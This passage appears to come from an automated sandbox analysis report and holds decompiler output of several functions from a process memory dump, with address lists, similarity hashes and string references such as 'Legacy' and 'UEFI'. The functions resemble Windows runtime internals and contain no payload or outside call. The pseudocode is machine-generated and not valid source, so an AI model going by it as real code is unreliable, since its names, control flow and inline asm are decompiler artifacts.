						if(E05729730() < 0 || (_v40 & 0x00000060) == 0 || _v44 != _t179) {
							_push(_t139);
							E057AA80D(_t179, 1, _v40, 0);
							_t172 = 4;
						}
					}
					_t141 =  &_v72;
					if(E057AA854(_t141,  &_v60, 0, 0x2000, _t172, _t179,  *_t179,  *((intOrPtr*)(_t179 + 4))) >= 0) {
						_v64 = _a4;
						_t94 =  *(_t179 + 0xc) & 0x40000000;
						asm("sbb edi, edi");
						_t176 = ( ~_t94 & 0x0000003c) + 4;
						if(_t94 != 0) {
							_push(0);
							_push(0x14);
							_push( &_v24);
							_push(3);
							_push(_t179);
							_push(0xffffffff);
							if(E05729730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t179) {
								_push(_t141);
								E057AA80D(_t179, 1, _v20, 0);
								_t176 = 4;
							}
						}
						if(E057AA854( &_v72,  &_v64, 0, 0x1000, _t176, 0,  *_t179,  *((intOrPtr*)(_t179 + 4))) < 0) {
							goto L11;
						} else {
							_t177 = _v64;
							 *((intOrPtr*)(_t132 + 0xc)) = _v72;
							_t100 = _v52 + _v52;
							_t146 =  *(_t132 + 0x10) & 0x00000ffd | _t177 & 0xfffff000 | _t100;
							 *(_t132 + 0x10) = _t146;
							asm("bsf eax, [esp+0x18]");
							_v52 = _t100;
							 *(_t132 + 0x10) = (_t100 << 0x00000002 ^ _t146) & 0x000000fc ^ _t146;
							 *((short*)(_t132 + 0xc)) = _t177 - _v48;
							_t47 =  &_a8;
							 *_t47 = _a8 & 0x00000001;
							if( *_t47 == 0) {
								E05702280(_t179 + 0x30, _t179 + 0x30);
							}
							_t147 =  *(_t179 + 0x34);
							_t159 =  *(_t179 + 0x38) & 1;
							_v68 = 0;
							if(_t147 == 0) {
								L35:
								E056FB090(_t179 + 0x34, _t147, _v68, _t132);
								if(_a8 == 0) {
									E056FFFB0(_t132, _t177, _t179 + 0x30);
								}
								asm("lock xadd [eax], ecx");
								asm("lock xadd [eax], edx");
								_t132 = 0;
								_v72 = _v72 & 0;
								_v68 = _v72;
								if(E05707D50() == 0) {
									_t113 = 0x7ffe0388;
								} else {
									_t177 = _v64;
									_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
								}
								if( *_t113 == _t132) {
									_t166 = _v68;
									goto L46;
								} else {
									_t166 = _v68;
									E0579FEC0(_t132, _t179, _t166, _t177 + 0x1000);
									goto L12;
								}
							} else {
								L23:
								while(1) {
									if(_v72 < ( *(_t147 + 0xc) & 0xffff0000)) {
										_t122 =  *_t147;
										if(_t159 == 0) {
											L32:
											if(_t122 == 0) {
												L34:
												_v68 = 0;
												goto L35;
											}
											L33:
											_t147 = _t122;
											continue;
										}
										if(_t122 == 0) {
											goto L34;
										}
										_t122 = _t122 ^ _t147;
										goto L32;
									}
									_t122 =  *(_t147 + 4);
									if(_t159 == 0) {
										L27:
										if(_t122 != 0) {
											goto L33;
										}
										L28:
										_v68 = 1;
										goto L35;
									}
									if(_t122 == 0) {
										goto L28;
									}
									_t122 = _t122 ^ _t147;
									goto L27;
								}
							}
						}
					}
					_v72 = _v72 & 0x00000000;
					goto L11;
				}
			}

0x057ae547
0x057ae549
0x057ae54f
0x057ae553
0x057ae557
0x057ae55a
0x057ae55c
0x057ae55f
0x057ae561
0x057ae567
0x057ae56b
0x057ae7e2
0x00000000
0x057ae571
0x057ae575
0x057ae577
0x057ae57b
0x057ae57c
0x057ae57d
0x057ae57e
0x057ae57f
0x057ae588
0x057ae58f
0x057ae591
0x057ae592
0x057ae592
0x057ae596
0x057ae59e
0x057ae5a0
0x057ae5a6
0x057ae61d
0x057ae61d
0x057ae621
0x057ae623
0x057ae630
0x057ae630
0x057ae7e6
0x057ae7eb
0x057ae7ed
0x057ae7f4
0x057ae7fa
0x057ae7ff
0x057ae7ff
0x057ae80a
0x057ae812
0x057ae812
0x057ae5ab
0x057ae5b4
0x057ae5b9
0x057ae5be
0x057ae5c0
0x057ae5c2
0x057ae5c8
0x057ae5c9
0x057ae5cb
0x057ae5cc
0x057ae5d5
0x057ae5e4
0x057ae5f1
0x057ae5f8
0x057ae5f8
0x057ae5d5
0x057ae602
0x057ae616
0x057ae63d
0x057ae644
0x057ae64d
0x057ae652
0x057ae657
0x057ae659
0x057ae65b
0x057ae661
0x057ae662
0x057ae664
0x057ae665
0x057ae66e
0x057ae67d
0x057ae68a
0x057ae691
0x057ae691
0x057ae66e
0x057ae6b0
0x00000000
0x057ae6b6
0x057ae6bd
0x057ae6c7
0x057ae6d7
0x057ae6d9
0x057ae6db
0x057ae6de
0x057ae6e3
0x057ae6f3
0x057ae6fc
0x057ae700
0x057ae700
0x057ae704
0x057ae70a
0x057ae70a
0x057ae713
0x057ae716
0x057ae719
0x057ae720
0x057ae761
0x057ae76b
0x057ae774
0x057ae77a
0x057ae77a
0x057ae78a
0x057ae791
0x057ae799
0x057ae79b
0x057ae79f
0x057ae7aa
0x057ae7c0
0x057ae7ac
0x057ae7b2
0x057ae7b9
0x057ae7b9
0x057ae7c7
0x057ae806
0x00000000
0x057ae7c9
0x057ae7d1
0x057ae7d8
0x00000000
0x057ae7d8
0x00000000
0x00000000
0x057ae722
0x057ae72e
0x057ae748
0x057ae74c
0x057ae754
0x057ae756
0x057ae75c
0x057ae75c
0x00000000
0x057ae75c
0x057ae758
0x057ae758
0x00000000
0x057ae758
0x057ae750
0x00000000
0x00000000
0x057ae752
0x00000000
0x057ae752
0x057ae730
0x057ae735
0x057ae73d
0x057ae73f
0x00000000
0x00000000
0x057ae741
0x057ae741
0x00000000
0x057ae741
0x057ae739
0x00000000
0x00000000
0x057ae73b
0x00000000
0x057ae73b
0x057ae722
0x057ae720
0x057ae6b0
0x057ae618
0x00000000
0x057ae618

Strings

`, xrefs: 057AE670
`, xrefs: 057AE5D7

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction ID: eccfd19adaac3eca208f362d635ecbc278d5456dba72fcefb7e7d443c5d76a3c
Opcode Fuzzy Hash: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction Fuzzy Hash: DF916D326083419FE725CE25C845B2BB7EABFC4714F148A2DF996CB280E774E904DB52

Uniqueness

Uniqueness Score: -1.00%

Function 057651BE, Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E057651BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0x57c05f0);
				E0573D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					E056FEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E057653CA(0);
						return E0573D130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E0572F3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E05703690(1, _t117, 0x56c1810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E0572AA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L05704620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E0572AA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E0576500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E05729860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x057651be
0x057651c3
0x057651c8
0x057651cd
0x057651d0
0x057651d3
0x057651d8
0x057651db
0x057651de
0x057651e0
0x057651e3
0x057651e6
0x057651e8
0x05765342
0x05765351
0x05765356
0x0576535a
0x05765360
0x05765363
0x05765366
0x05765369
0x05765369
0x0576536b
0x0576536b
0x05765370
0x057653a3
0x057653a4
0x057653a6
0x057653ab
0x057653ab
0x057653ae
0x057653ae
0x057653b5
0x057653bf
0x057653bf
0x05765375
0x05765396
0x057653a0
0x057653a0
0x00000000
0x05765396
0x05765377
0x05765379
0x0576537f
0x0576538c
0x05765390
0x00000000
0x05765390
0x057651ee
0x057651f1
0x05765301
0x05765310
0x05765315
0x05765318
0x0576531b
0x05765320
0x0576532e
0x05765331
0x00000000
0x05765331
0x05765328
0x05765329
0x00000000
0x05765329
0x057651fa
0x05765235
0x05765236
0x05765239
0x0576523f
0x05765240
0x05765241
0x05765242
0x05765246
0x05765247
0x0576524e
0x05765251
0x05765267
0x05765269
0x0576526e
0x0576527d
0x0576527e
0x05765281
0x05765282
0x05765287
0x05765288
0x0576528a
0x0576528f
0x05765294
0x00000000
0x00000000
0x0576529a
0x0576529c
0x0576529e
0x0576529e
0x057652a4
0x057652b0
0x00000000
0x00000000
0x057652ba
0x057652bc
0x057652bc
0x057652d4
0x057652d9
0x057652dc
0x057652e1
0x00000000
0x00000000
0x057652e7
0x057652f4
0x00000000
0x057652f4
0x05765270
0x00000000
0x05765270
0x057651fc
0x057651fd
0x05765202
0x05765203
0x05765205
0x0576520a
0x0576520f
0x00000000
0x00000000
0x0576521b
0x05765226
0x0576522b
0x0576521d
0x0576521d
0x05765222
0x05765222
0x0576522d
0x00000000

Strings

Legacy, xrefs: 05765226
UEFI, xrefs: 0576521D

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: 3331a07f098eb2e7415c4e5d49948fa2e82a81b41cc3187d70250935f370c296
Instruction ID: 47f1124490b4e1336024ba733471e79fceca3161d3e0b74187a0c769fa864b92
Opcode Fuzzy Hash: 3331a07f098eb2e7415c4e5d49948fa2e82a81b41cc3187d70250935f370c296
Instruction Fuzzy Hash: 87519AB1E046099FDB24CFA9D884AAEBBF9FF48B04F54402DE909EB241D670D900EB10

Uniqueness

Uniqueness Score: -1.00%

Function 056EB171, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E056EB171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x57bf7a8);
				E0573D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E0573D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E0572D000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E0572F3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L0573DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E0572B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E0572B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E0572E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E0572A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x056eb171
0x056eb171
0x056eb171
0x056eb171
0x056eb171
0x056eb176
0x056eb17b
0x056eb180
0x056eb186
0x056eb18f
0x056eb198
0x056eb1a4
0x056eb1aa
0x05744802
0x05744802
0x05744805
0x0574480c
0x0574480e
0x056eb1d1
0x056eb1d3
0x056eb1de
0x056eb1de
0x05744817
0x0574481e
0x05744820
0x05744822
0x05744822
0x05744824
0x05744824
0x0574482a
0x00000000
0x00000000
0x05744835
0x0574483a
0x0574483d
0x0574483f
0x05744842
0x05744842
0x05744842
0x05744846
0x0574484c
0x0574484e
0x05744851
0x05744851
0x05744853
0x05744854
0x05744854
0x05744858
0x0574485a
0x0574485a
0x0574485d
0x0574485f
0x05744861
0x05744861
0x05744866
0x0574486b
0x0574486e
0x05744871
0x05744876
0x05744876
0x05744878
0x0574487b
0x05744884
0x05744884
0x00000000
0x0574487d
0x0574487d
0x05744882
0x05744889
0x05744889
0x0574488f
0x05744891
0x057448e0
0x057448e2
0x057448e4
0x057448e4
0x057448e7
0x057448e7
0x057448ed
0x057448f4
0x057448f6
0x05744951
0x05744951
0x05744953
0x05744953
0x05744956
0x05744956
0x05744958
0x05744959
0x05744959
0x0574495d
0x0574495d
0x0574495f
0x0574495f
0x05744965
0x05744969
0x057449ba
0x057449ba
0x057449c1
0x057449c5
0x057449cc
0x057449d4
0x057449d7
0x057449da
0x057449e4
0x057449e5
0x057449f3
0x05744a02
0x00000000
0x05744a02
0x05744972
0x05744974
0x00000000
0x00000000
0x05744976
0x05744979
0x05744982
0x05744983
0x05744984
0x0574498b
0x0574498d
0x05744991
0x05744993
0x05744999
0x0574499d
0x057449a2
0x057449a2
0x057449a2
0x05744999
0x057449ac
0x00000000
0x057449b3
0x057448f8
0x057448fe
0x00000000
0x00000000
0x00000000
0x057448fe
0x05744895
0x0574489c
0x057448ad
0x057448b2
0x057448b5
0x057448b7
0x057448ba
0x057448bc
0x057448c6
0x057448c6
0x057448cb
0x057448d1
0x057448d4
0x057448d8
0x057448d8
0x00000000
0x057448d8
0x057448be
0x057448c0
0x00000000
0x00000000
0x057448c2
0x00000000
0x00000000
0x00000000
0x057448c4
0x00000000
0x05744882
0x0574487b
0x05744904
0x05744906
0x00000000
0x00000000
0x05744908
0x0574490e
0x00000000
0x00000000
0x05744910
0x05744917
0x05744917
0x00000000
0x05744917
0x056eb1ba
0x057447f9
0x057447fc
0x00000000
0x00000000
0x00000000
0x057447fc
0x056eb1c0
0x056eb1c0
0x056eb1c3
0x056eb1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 057448AD

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: 7324430b7818f3689455b338ae65ea2ddb6b0f812cb05e97e80f13d5f95c31c4
Instruction ID: bc5ac6f77f5f3dc077096d5b1b6e60c5e99a59e5828fae4dbda82309639707f9
Opcode Fuzzy Hash: 7324430b7818f3689455b338ae65ea2ddb6b0f812cb05e97e80f13d5f95c31c4
Instruction Fuzzy Hash: 4F51EE71E012698EDF31CF64C849BBEBBB6BF00720F2141A9D859AB281D7704941FF90

Uniqueness

Uniqueness Score: -1.00%

Function 0570B944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E0570B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0x57dd360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E05707D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E057B8CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E05729E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E0572B640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E0572CE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E05707D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E057B8F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E0572AF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0x57d8628; // 0x0
								_v68 = _t77;
								_t78 =  *0x57d862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0x57d8628; // 0x0
							_t116 =  *0x57d862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x0570b94c
0x0570b956
0x0570b95c
0x0570b95e
0x0570b964
0x0570b969
0x0570b96d
0x0570b96d
0x0570b970
0x0570b974
0x0570b97a
0x0570badf
0x0570badf
0x0570bae2
0x0570bae4
0x0570bae6
0x0570baf0
0x05752cb8
0x0570baf6
0x0570baf6
0x0570baf6
0x0570bafd
0x0570bb1f
0x0570bb1f
0x0570baff
0x0570bb00
0x0570bb00
0x0570bb03
0x0570bb03
0x0570bacb
0x0570bacf
0x0570bad0
0x0570bad1
0x0570badc
0x0570badc
0x0570b980
0x0570b980
0x0570b988
0x0570b98b
0x0570b98d
0x0570b990
0x0570b993
0x0570b999
0x0570b99b
0x0570b9a1
0x0570b9a5
0x0570b9aa
0x0570b9b0
0x0570b9bb
0x0570b9c0
0x0570b9c3
0x0570b9ca
0x0570b9cc
0x0570b9cf
0x0570b9d3
0x0570b9d7
0x0570ba94
0x0570ba94
0x0570ba98
0x0570baa3
0x05752ccb
0x0570baa9
0x0570baa9
0x0570baa9
